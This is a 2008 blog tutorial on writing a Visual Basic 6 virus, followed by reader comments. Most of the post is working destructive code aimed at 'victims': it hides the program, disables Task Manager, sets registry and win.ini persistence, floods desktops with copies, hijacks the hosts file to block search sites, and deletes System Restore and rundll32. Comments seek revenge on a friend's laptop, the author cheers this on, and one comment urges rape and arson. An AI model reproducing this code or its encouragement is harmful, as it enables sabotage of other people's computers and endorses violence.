Loading

How to make a virus using Visual Basic

Posted by suraZ August 19, 2008

So interested in making visual basic virus? And searching for online step by step tutorial for it? then you've been to right place. To make VB virus
First get Visual Basic 6.0

First let's start with a basic code to keep your virus/worm/trojan hidden from the victim who has received your program and has executed it.

Private Sub Form_Load()
On Error Resume Next
'This command will allow the application to continue running
'even if an error occurs instead of terminating/closing.
Hide
'This command will hide the application from even being seen on the victims
'screen even if your program has it's settings set to Visible|True
App.TaskVisible = False
'This command is even better, this command will stop your program
'from showing up in Task Manager-Applications Tab List, but it will still
'show up in process list, sorry =/
End Sub

Ok now let's move on to some fun, here are some scripts i like to use
hope they help you, they're simple but they do the job.
Disable TaskManager
Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", vbHide


By using Shell, u can use any single CMD command, and by adding

,vbHide after it, CMD will not appear and the victim will not be aware that anything has happened.


Here is a few more commands for Shell using VB 6.0 Pro:

Shell "REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ###Name### /t REG_SZ /d ###Drive:\Path\Name.exe### /f", vbHide
'This command will make your application start with windows.

Shell "REG add HKCR\exefile\shell\open\command /v Shell /t REG_SZ /d ###Drive:\Path\Name.exe### %1 %* /f", vbHide
'This command will make your application start when ever the victim opens another application via msnmsngr.exe as an example.

Shell "REG add HKLM\Control Panel\International /v s1159 /t REG_S /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v s2359 /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v SLongDate /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v sShortDate /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v sTimeFormat /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
Shell "REG add HKLM\Control Panel\International /v sNativeDigits /t REG_SZ /d ###Letter/Symbol/Number### /f", vbHide
'These commands will set the time & date for the victims computer permanently
'Change the ###Letter/Symbol/Number### to ? for example, and the victim will see ???????? for the time and ??????
'for the date.

FileCopy App.Path & "\" & App.EXEName & ".EXE", "Drive:\Path\Name.exe"
'This code well, it couldn't be more obvious what it does, but when copying your virus/worm ect
'to a new path, try looking up windows processes like svchost.exe, making it harder for the victim
'to get rid of your virus/worm/trojan ect.



Dim intResult As Integer
Randomize
intResult = Int((9542 * Rnd) + 4592)
FileCopy App.Path & "\" & App.EXEName & ".EXE", "c:\Documents and Settings\All Users\Desktop\DimenBlackScript.exe" & intResult & ".exe"
'Ok for abit of fun, here is a simple code but a real nasty one, add a timer to your application
'interval set to "1" when this code runs, all user accounts desktops will be flooded with your virus and the longer it
'runs the more Memory it takes up and the more viruses that person has to delete, try adding it to places like
' C:\DOCU~\All Users\Start Menu\Programs\Start up\
'That will cause the victim alot of hassle =P.

Kill "c:\windows\win.ini"
Kill "c:\windows\system.ini"
Open "c:\WINDOWS\win.ini" For Output As #1
Print #1, "Load = C:\Program Files\Virus1.exe"
Print #1, "run = C:\Program Files\Virus2.exe"
Close #1
Open "c:\WINDOWS\system.ini" For Output As #1
Print #1, "Shell=Explorer.exe C:\WINDOWS\System\Virus3.exe"
Print #1, "Shell=Explorer.exe C:\WINDOWS\System32\Virus4.exe"
Close #1
'Ok people more fun, making your application start with windows, without using Registry or DOS
'one little alter and your viruses and start with windows and the victim will not know how.

Open "c:\WINDOWS\system32\drivers\etc\hosts" For Output As #1
Print #1, "208.65.153.251 208.65.153.251 "
Print #1, "208.65.153.251 www.google.com"
Print #1, "208.65.153.251 www.google.co.uk"
Print #1, "208.65.153.251 www.yahoo.com"
Print #1, "208.65.153.251 www.yahoo.co.uk"
Print #1, "208.65.153.251 www.askjeeves.com"
Print #1, "208.65.153.251 www.altavista.com"
Print #1, "208.65.153.251 www.alltheweb.com"
Print #1, "208.65.153.251 www.msn.com"
Print #1, "208.65.153.251 www.hotmail.com"
Print #1, "208.65.153.251 www.myspace.com"
Print #1, "208.65.153.251 www.plunder.com"
Print #1, "208.65.153.251 www.quicksharing.com"
Print #1, "208.65.153.251 www.myspace.com"
Close #1
'Just something to help stop the victim from google-ing what the virus has done, and getting information
'or downloads to help rid them of your infection >=P.

Kill "%SystemRoot%\syst" & "em32\dfrg.msc"
Kill "%SystemRoot%\syste" & "m32\wscui.cpl"
Kill "C:\Program Files\Co" & "mmon Files\Microsoft Shared\MSInfo\msinfo32.exe"
Kill "%SystemRoot%\syste" & "m32\restore\rstrui.exe"
Kill "c:\WINDOWS\syste" & "m32\rundll32.exe"
'Ok now finally let's get rid of System Restore, Rundll(by deleting this file, the victim can no longer
'view the properties window for any file on his or her computer).


Well thats all. Now run this program.



17 comments

  1. Anonymous Said,

    U helped me a lot !!
    Thanx buddy

    Posted on September 15, 2008 5:05 AM

     
  2. Anonymous Said,

    how do u start the virus?

    Posted on November 6, 2008 1:12 PM

     
  3. Anonymous Said,

    do u seriously know VB programming? if then, why not write some great progries.. Also VB sux so better learn C & ASM(asm is the best language to build viruses)..

    Posted on November 20, 2008 3:11 PM

     
  4. Anonymous Said,

    do u seriously know VB programming? if then, why not write some great progries.. Also VB sux so better learn C & ASM(asm is the best language to build viruses)..

    i bet this guy know's more then you i bet i know more the you and im 11

    Posted on December 27, 2008 12:12 PM

     
  5. rasuke Said,

    I am trying to get revenge on my friendby destroying his laptop. He swore at my mum and now i want to rip his beloved comp

    Posted on December 28, 2008 12:41 PM

     
  6. suraZ Said,

    Revenge is sweet

    Posted on December 28, 2008 2:03 PM

     
  7. suraZ Said,

    Hope you'll like my new post. Because of lots of criticism I've updated new information. It is just a basic so learn it as basic. No professional hackers works for this site and no one is programmer here. We only share things that we have.

    Posted on December 28, 2008 8:30 PM

     
  8. Anonymous Said,

    ert0q3h0q894evw4etyhruyhu890we4sgwerjfii90qabkgjq039pjawsdmtg9,

    Posted on January 1, 2009 3:10 AM

     
  9. Anonymous Said,

    you want revenge rape his sister and burn your friends house down

    Posted on January 3, 2009 12:53 AM

     
  10. Anonymous Said,

    My name is Cahmisy I made virus for DOS BATCH FILE But i will change it into VB.6 Soon but it wont be as good and sent in some virus.

    Posted on January 29, 2009 2:43 AM

     
  11. Anonymous Said,

    Batch File converter may be available but DOS hack is much more effective than VB hack. You can do this in another way. Make a program in VB any interesting program and embed your batch file with that program, as the program is being installed the virus automatically install itself to the system and do its threat.

    Posted on January 29, 2009 2:21 PM

     
  12. Anonymous Said,

    im lost i have no idea how to use this program i just wanna make a virus
    can u help me set it up from the beggining
    again i dont know anything about this program

    Posted on February 7, 2009 6:53 AM

     
  13. Anonymous Said,

    Visit my other blog posts .. I have tutorial on visual basic

    Posted on February 7, 2009 7:19 PM

     
  14. Anonymous Said,

    how do i get there lol srry

    Posted on February 9, 2009 2:58 AM

     
  15. Anonymous Said,

    this guy is trying to cheat u guys this code will destroy u'r system

    Posted on March 18, 2009 8:24 PM

     
  16. Anonymous Said,

    Can you not compile it for us and then put a download link on it?

    Posted on April 1, 2009 11:16 PM

     
  17. i wanna put the virus on my friends laptop - he lets me on while hes watching tv - on my memory stick to go - how do i do that?

    Posted on April 30, 2009 12:49 AM

     

Post a Comment


page stats
Yahoo Dating
*** 100% FREE ADVERTISING *** - Get Up to 1 Billion Visitors To Your Site 100% Free. Try Out The Internet's Best Free Web Traffic Generator Now! www.BillionBlaster.com
Tracked by ClickAider